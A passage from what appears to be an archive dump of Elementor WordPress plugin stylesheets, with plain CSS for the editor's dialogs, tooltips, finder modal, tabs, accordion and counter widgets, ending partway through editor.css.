#elementor-toast .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; margin-inline-end: 10px; color: var(--e-a-dark-color-txt); border-radius: var(--e-a-border-radius); transition: var(--e-a-transition-hover); cursor: pointer; } #elementor-toast .dialog-button:hover { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } #elementor-toast .dialog-button:last-child { margin-inline-end: 0; } /* Will select next element after last '.elementor-general-section' */ #wpadminbar #wp-admin-bar-elementor_edit_page .elementor-general-section + .elementor-second-section { border-block-start: 1px solid #464b50; margin-block-start: 6px; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } #elementor-finder__modal { background: none; z-index: 99999; } #elementor-finder__modal .dialog-widget-content { width: 650px; max-width: 98%; top: 18vh; left: calc(50% - 650px / 2); } #elementor-finder__modal .dialog-content { text-align: start; } #elementor-finder__modal .dialog-message { height: initial; min-height: 0; padding: 0; text-align: start; } #elementor-finder__search { padding: 15px; display: flex; } #elementor-finder__search i { font-size: 16px; margin-inline-end: 15px; } #elementor-finder__search__input { border: none; background: none; outline: none; padding: 0; margin: 0; flex-grow: 1; font-size: 14px; box-shadow: none; } #elementor-finder__search__input::-moz-placeholder { font-style: italic; font-weight: 300; } #elementor-finder__search__input::placeholder { font-style: italic; font-weight: 300; } #elementor-finder__results { max-height: 50vh; overflow: auto; } #elementor-finder__no-results { display: none; padding: 20px; } #elementor-finder__lock-dialog { z-index: 100000; } .elementor-finder__results__category { position: relative; } .elementor-finder__results__category__title { padding: 5px 25px; font-size: 10px; border-block-end: var(--e-a-border); } .elementor-finder__results__category--dynamic .elementor-finder__results__category__items { min-height: 26px; } .elementor-finder__results__category .eicon-loading { display: none; position: absolute; right: 10px; top: 30px; color: var(--e-a-color-info); font-size: 14px; } .elementor-finder__results__item { display: flex; } .elementor-finder__results__item a { text-decoration: none; color: inherit; } .elementor-finder__results__item.elementor-active { background-color: var(--e-a-bg-hover); } .elementor-finder__results__item.elementor-active a { color: inherit; } .elementor-finder__results__item:not(.elementor-active) .elementor-finder__results__item__actions { display: none; } .elementor-finder__results__item__link { display: flex; align-items: center; height: 35px; flex-grow: 1; } .elementor-finder__results__item__icon { width: 60px; text-align: center; font-size: 17px; } .elementor-finder__results__item__title { font-size: 13px; } .elementor-finder__results__item__description { margin-inline-start: 5px; font-style: italic; } .elementor-finder__results__item__badge { text-transform: uppercase; position: absolute; inset-inline-end: 16px; font-size: 8px; font-weight: 500; display: flex; align-items: center; gap: 4px; } .elementor-finder__results__item__actions { display: flex; } .elementor-finder__results__item__action { display: flex; align-items: center; justify-content: center; height: 100%; width: 35px; } .elementor-finder__results__item__action:hover { background-color: rgba(0, 0, 0, 0.07); } .tipsy { font-size: 10px; position: absolute; padding: 5px; z-index: 100000; } .tipsy-inner { background-color: #000; color: #FFF; font-weight: 500; max-width: 200px; padding: 5px 12px; text-align: center; border-radius: 3px; box-shadow: 0 0 5px 0 rgba(0, 0, 0, 0.5); } .tipsy-arrow { position: absolute; width: 0; height: 0; line-height: 0; border: 5px dashed #000; } .tipsy-arrow-n { border-bottom-color: #000; } .tipsy-arrow-s { border-top-color: #000; } .tipsy-arrow-e { border-left-color: #000; } .tipsy-arrow-w { border-right-color: #000; } .tipsy-n .tipsy-arrow, .tipsy-nw .tipsy-arrow { border-left-color: transparent; border-right-color: transparent; top: 0; border-bottom-style: solid; border-top: none; } .tipsy-n .tipsy-arrow { left: 50%; margin-left: -5px; } .tipsy-nw .tipsy-arrow { left: 10px; } .tipsy-ne .tipsy-arrow { top: 0; right: 10px; border-bottom-style: solid; border-top: none; border-left-color: transparent; border-right-color: transparent; } .tipsy-s .tipsy-arrow, .tipsy-se .tipsy-arrow, .tipsy-sw .tipsy-arrow { bottom: 0; border-top-style: solid; border-bottom: none; border-left-color: transparent; border-right-color: transparent; } .tipsy-s .tipsy-arrow { left: 50%; margin-left: -5px; } .tipsy-sw .tipsy-arrow { left: 10px; } .tipsy-se .tipsy-arrow { right: 10px; } .tipsy-e .tipsy-arrow, .tipsy-w .tipsy-arrow { top: 50%; margin-top: -5px; border-top-color: transparent; border-bottom-color: transparent; } .tipsy-e .tipsy-arrow { right: 0; border-left-style: solid; border-right: none; } .tipsy-w .tipsy-arrow { left: 0; border-right-style: solid; border-left: none; } /*# sourceMappingURL=common.css.map */assets/css/editor-v2-app-bar-overrides.min.css000064400000002027147206604650015300 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ body{--editor-v2-top-bar-height:48px}#elementor-editor-wrapper{height:calc(100vh - var(--editor-v2-top-bar-height))}body.elementor-navigator-docked #elementor-navigator{height:calc(100% - var(--editor-v2-top-bar-height));top:var(--editor-v2-top-bar-height)}.elementor-panel #elementor-panel-footer,.elementor-panel #elementor-panel-header-add-button,.elementor-panel #elementor-panel-header-menu-button{display:none}.elementor-panel #elementor-panel-header{font-weight:700;background-color:var(--e-a-bg-default);color:var(--e-a-color-txt-accent);border-block-end:var(--e-a-border);height:48px}.elementor-control-type-wysiwyg .mce-fullscreen{inset:var(--editor-v2-top-bar-height) 0 0 0}.elementor-control-type-wysiwyg .mce-fullscreen>.mce-container-body{display:flex;flex-direction:column;height:100%}.elementor-control-type-wysiwyg .mce-fullscreen>.mce-container-body>.mce-edit-area{flex-grow:1}.elementor-control-type-wysiwyg .mce-fullscreen>.mce-container-body>.mce-edit-area>iframe{height:100%!important}assets/css/widget-accordion-rtl.min.css000064400000003301147206604650014162 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-accordion{text-align:start}.elementor-accordion .elementor-accordion-item{border:1px solid #d5d8dc}.elementor-accordion .elementor-accordion-item+.elementor-accordion-item{border-top:none}.elementor-accordion .elementor-tab-title{margin:0;padding:15px 20px;font-weight:700;line-height:1;cursor:pointer;outline:none}.elementor-accordion .elementor-tab-title .elementor-accordion-icon{display:inline-block;width:1.5em}.elementor-accordion .elementor-tab-title .elementor-accordion-icon svg{width:1em;height:1em}.elementor-accordion .elementor-tab-title .elementor-accordion-icon.elementor-accordion-icon-right{float:right;text-align:right}.elementor-accordion .elementor-tab-title .elementor-accordion-icon.elementor-accordion-icon-left{float:left;text-align:left}.elementor-accordion .elementor-tab-title .elementor-accordion-icon .elementor-accordion-icon-closed{display:block}.elementor-accordion .elementor-tab-title .elementor-accordion-icon .elementor-accordion-icon-opened,.elementor-accordion .elementor-tab-title.elementor-active .elementor-accordion-icon-closed{display:none}.elementor-accordion .elementor-tab-title.elementor-active .elementor-accordion-icon-opened{display:block}.elementor-accordion .elementor-tab-content{display:none;padding:15px 20px;border-top:1px solid #d5d8dc}@media (max-width:767px){.elementor-accordion .elementor-tab-title{padding:12px 15px}.elementor-accordion .elementor-tab-title .elementor-accordion-icon{width:1.2em}.elementor-accordion .elementor-tab-content{padding:7px 15px}}.e-con-inner>.elementor-widget-accordion,.e-con>.elementor-widget-accordion{width:var(--container-widget-width);--flex-grow:var(--container-widget-flex-grow)}assets/css/widget-counter-rtl.min.css000064400000001431147206604650013702 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-counter{display:flex;justify-content:center;align-items:stretch;flex-direction:column-reverse}.elementor-counter .elementor-counter-number{flex-grow:var(--counter-number-grow,0)}.elementor-counter .elementor-counter-number-wrapper{flex:1;display:flex;font-size:69px;font-weight:600;line-height:1;text-align:center}.elementor-counter .elementor-counter-number-prefix{text-align:end;flex-grow:var(--counter-prefix-grow,1);white-space:pre-wrap}.elementor-counter .elementor-counter-number-suffix{text-align:start;flex-grow:var(--counter-suffix-grow,1);white-space:pre-wrap}.elementor-counter .elementor-counter-title{flex:1;display:flex;justify-content:center;align-items:center;margin:0;padding:0;font-size:19px;font-weight:400;line-height:2.5}assets/css/widget-tabs.min.css000064400000010100147206604650012346 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tabs-wrapper{width:25%;flex-shrink:0}.elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tab-desktop-title.elementor-active{border-inline-end-style:none}.elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tab-desktop-title.elementor-active:after,.elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tab-desktop-title.elementor-active:before{height:999em;width:0;right:0;border-inline-end-style:solid}.elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tab-desktop-title.elementor-active:before{top:0;transform:translateY(-100%)}.elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tab-desktop-title.elementor-active:after{top:100%}.elementor-widget-tabs.elementor-tabs-view-horizontal .elementor-tab-desktop-title{display:table-cell}.elementor-widget-tabs.elementor-tabs-view-horizontal .elementor-tab-desktop-title.elementor-active{border-bottom-style:none}.elementor-widget-tabs.elementor-tabs-view-horizontal .elementor-tab-desktop-title.elementor-active:after,.elementor-widget-tabs.elementor-tabs-view-horizontal .elementor-tab-desktop-title.elementor-active:before{bottom:0;height:0;width:999em;border-bottom-style:solid}.elementor-widget-tabs.elementor-tabs-view-horizontal .elementor-tab-desktop-title.elementor-active:before{right:100%}.elementor-widget-tabs.elementor-tabs-view-horizontal .elementor-tab-desktop-title.elementor-active:after{left:100%}.elementor-widget-tabs .elementor-tab-content,.elementor-widget-tabs .elementor-tab-title,.elementor-widget-tabs .elementor-tab-title:after,.elementor-widget-tabs .elementor-tab-title:before,.elementor-widget-tabs .elementor-tabs-content-wrapper{border:1px #d5d8dc}.elementor-widget-tabs .elementor-tabs{text-align:start}.elementor-widget-tabs .elementor-tabs-wrapper{overflow:hidden}.elementor-widget-tabs .elementor-tab-title{cursor:pointer;outline:var(--focus-outline,none)}.elementor-widget-tabs .elementor-tab-desktop-title{position:relative;padding:20px 25px;font-weight:700;line-height:1;border:solid transparent}.elementor-widget-tabs .elementor-tab-desktop-title.elementor-active{border-color:#d5d8dc}.elementor-widget-tabs .elementor-tab-desktop-title.elementor-active:after,.elementor-widget-tabs .elementor-tab-desktop-title.elementor-active:before{display:block;content:"";position:absolute}.elementor-widget-tabs .elementor-tab-desktop-title:focus-visible{border:1px solid #000}.elementor-widget-tabs .elementor-tab-mobile-title{padding:10px;cursor:pointer}.elementor-widget-tabs .elementor-tab-content{padding:20px;display:none}@media (max-width:767px){.elementor-tabs .elementor-tab-content,.elementor-tabs .elementor-tab-title{border-style:solid solid none}.elementor-tabs .elementor-tabs-wrapper{display:none}.elementor-tabs .elementor-tabs-content-wrapper{border-bottom-style:solid}.elementor-tabs .elementor-tab-content{padding:10px}}@media (min-width:768px){.elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tabs{display:flex}.elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tabs-wrapper{flex-direction:column}.elementor-widget-tabs.elementor-tabs-view-vertical .elementor-tabs-content-wrapper{flex-grow:1;border-style:solid solid solid none}.elementor-widget-tabs.elementor-tabs-view-horizontal .elementor-tab-content{border-style:none solid solid}.elementor-widget-tabs.elementor-tabs-alignment-center .elementor-tabs-wrapper,.elementor-widget-tabs.elementor-tabs-alignment-end .elementor-tabs-wrapper,.elementor-widget-tabs.elementor-tabs-alignment-stretch .elementor-tabs-wrapper{display:flex}.elementor-widget-tabs.elementor-tabs-alignment-center .elementor-tabs-wrapper{justify-content:center}.elementor-widget-tabs.elementor-tabs-alignment-end .elementor-tabs-wrapper{justify-content:flex-end}.elementor-widget-tabs.elementor-tabs-alignment-stretch.elementor-tabs-view-horizontal .elementor-tab-title{width:100%}.elementor-widget-tabs.elementor-tabs-alignment-stretch.elementor-tabs-view-vertical .elementor-tab-title{height:100%}.elementor-tabs .elementor-tab-mobile-title{display:none}}assets/css/editor.css000064400000617132147206604650010662 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-control-unit-1 { width: 27px; } .elementor-control-unit-2 { width: 54px; } .elementor-control-unit-3 { width: 81px; } .elementor-control-unit-4 { width: 108px; } .elementor-control-unit-5 { max-width: 400px; width: 52%; } *, :before, :after { margin: 0; padding: 0; box-sizing: border-box; } body, html { height: 100%; } html { background-color: var(--e-a-bg-loading); } iframe, img { border: 0 none; } li { list-style: none; } a { text-decoration: none; } body { background-color: var(--e-a-bg-default); color: var(--e-a-color-txt); font-family: var(--e-a-font-family); font-size: 13px; font-weight: normal; line-height: 1; text-decoration: none; text-transform: none; overflow: hidden; } body:after { content: ""; position: absolute; top: 0; right: 0; height: 100%; width: 0; background-color: var(--e-a-bg-default); transition: width 0.5s; } body a { color: var(--e-a-color-info); } body a:hover { color: var(--e-a-color-primary-bold); } body.elementor-editor-active #elementor-mode-switcher-preview .eicon:before { content: "\e89f"; } body.elementor-editor-preview { --e-preview-width: 100%; } body.elementor-editor-preview #elementor-mode-switcher-preview .eicon:before { content: "\e89e"; } body.elementor-navigator--dock-hint:after { width: 30px; } #elementor-editor-wrapper { display: flex; width: 100%; height: 100vh; } #elementor-panel:not(.ui-resizable-resizing), #elementor-preview:not(.ui-resizable-resizing) { transition: margin 0.5s ease-in-out, width 0.5s ease-in-out; } #elementor-loading { position: fixed; top: 0; left: 0; bottom: 0; right: 0; background: var(--e-a-bg-default); z-index: 9999; } #elementor-preview-loading { display: flex; align-items: center; justify-content: center; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: var(--e-a-bg-default); } #elementor-preview-loading i { color: var(--e-a-color-txt-disabled); font-size: 50px; } .elementor-nerd-box { padding: 30px; text-align: center; } .elementor-nerd-box-icon { width: 100px; } .elementor-nerd-box-title { margin-block-start: 20px; font-size: 16px; font-weight: bold; line-height: 1.4; } .elementor-nerd-box-message { margin-block-start: 5px; line-height: 1.8; font-size: 11px; } .elementor-nerd-box .elementor-button { margin-block-start: 20px; } .elementor-nerd-box--upsale { padding: 15px 30px 30px; } .elementor-nerd-box--upsale .elementor-nerd-box-title { font-weight: 500; line-height: 1.2; } .elementor-nerd-box--upsale .elementor-nerd-box-message { line-height: 1.5; } .eicon-nerd:hover:before { content: "\e8b7"; } .eicon-nerd:active:before { content: "\e8b6"; } .e-group-control-header { display: flex; justify-content: space-between; align-items: center; font-weight: bold; font-size: 12px; padding: 10px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); margin-block-end: 15px; } .e-control-tools { display: flex; } .e-control-tool { width: 20px; height: 20px; display: inline-flex; border-radius: 3px; margin: 0 3px 0; border: 0; position: relative; background-color: var(--e-a-bg-default); } .e-control-tool:not(.e-control-tool-disabled) { box-shadow: 0 1px 5px rgba(0, 0, 0, 0.1); cursor: pointer; } .e-control-tool-disabled { background: var(--e-a-bg-default); pointer-events: none; } .e-control-tool-disabled i { color: var(--e-a-color-txt-disabled); } .e-control-tool i { position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); color: var(--e-a-color-txt-default); font-size: 13px; } i.eicon-tilted { transform: rotate(90deg); } .elementor-loader-wrapper { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 300px; display: flex; flex-direction: column; align-items: center; gap: 30px; } .elementor-loader { border-radius: 50%; padding: 40px; height: 150px; width: 150px; background-color: var(--e-a-bg-active); box-sizing: border-box; box-shadow: 2px 2px 20px 4px rgba(0, 0, 0, 0.02); } .elementor-loader-boxes { height: 100%; width: 100%; position: relative; } .elementor-loader-box { position: absolute; background-color: var(--e-a-color-txt-hover); animation: load 1.8s linear infinite; } .elementor-loader-box:nth-of-type(1) { width: 20%; height: 100%; left: 0; top: 0; } .elementor-loader-box:not(:nth-of-type(1)) { right: 0; height: 20%; width: 60%; } .elementor-loader-box:nth-of-type(2) { top: 0; animation-delay: calc(1.8s / 4 * -1); } .elementor-loader-box:nth-of-type(3) { top: 40%; animation-delay: calc(1.8s / 4 * -2); } .elementor-loader-box:nth-of-type(4) { bottom: 0; animation-delay: calc(1.8s / 4 * -3); } .elementor-loading-title { color: var(--e-a-color-txt); text-align: center; text-transform: uppercase; letter-spacing: 7px; text-indent: 7px; font-size: 10px; width: 100%; } input, select, textarea, .e-input-style { color: var(--e-a-color-txt); border-radius: var(--e-a-border-radius); font-size: 12px; width: 100%; background: none; background-color: var(--e-a-bg-default); box-shadow: none; border: var(--e-a-border-bold); outline: none; } input:focus, input:focus + .elementor-control-dynamic-switcher, select:focus, select:focus + .elementor-control-dynamic-switcher, textarea:focus, textarea:focus + .elementor-control-dynamic-switcher, .e-input-style:focus, .e-input-style:focus + .elementor-control-dynamic-switcher { border-color: var(--e-a-border-color-focus); } .elementor-error input, .elementor-error select, .elementor-error textarea { border-color: var(--e-a-color-danger); } input { min-width: 0; } input, textarea, .e-input-style { padding: 5px; } textarea, .e-input-style { resize: vertical; } input[type=checkbox], input[type=radio] { height: auto; width: auto; } input[type=checkbox] { margin: 0; padding: 0; -webkit-appearance: none; -moz-appearance: none; appearance: none; outline: none; content: none; height: 15px; border-radius: var(--e-a-border-radius); margin-inline-end: 5px; width: 15px; border: var(--e-a-border-bold); display: inline-flex; align-items: center; justify-content: center; } input[type=checkbox]:checked { background: var(--e-a-color-primary-bold); border: none; } input[type=checkbox]:checked:before { display: block; content: ""; width: 4px; height: 7px; border: solid white; border-width: 0 2px 2px 0; transform: rotate(45deg); } input[disabled] { background-color: var(--e-a-bg-hover); cursor: not-allowed; opacity: 1; } select { outline: none; height: 27px; } .dialog-widget-content { background-color: var(--e-a-bg-default); position: absolute; border-radius: 3px; box-shadow: 2px 8px 23px 3px rgba(0, 0, 0, 0.2); overflow: hidden; } .dialog-message { line-height: 1.5; box-sizing: border-box; } .dialog-close-button { cursor: pointer; position: absolute; margin-block-start: 15px; inset-inline-end: 15px; color: var(--e-a-color-txt); font-size: 15px; line-height: 1; transition: var(--e-a-transition-hover); } .dialog-close-button:hover { color: var(--e-a-color-txt-hover); } .dialog-prevent-scroll { overflow: hidden; max-height: 100vh; } .dialog-type-lightbox { position: fixed; height: 100%; width: 100%; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 9999; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .elementor-editor-active .elementor-popup-modal { background-color: initial; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper 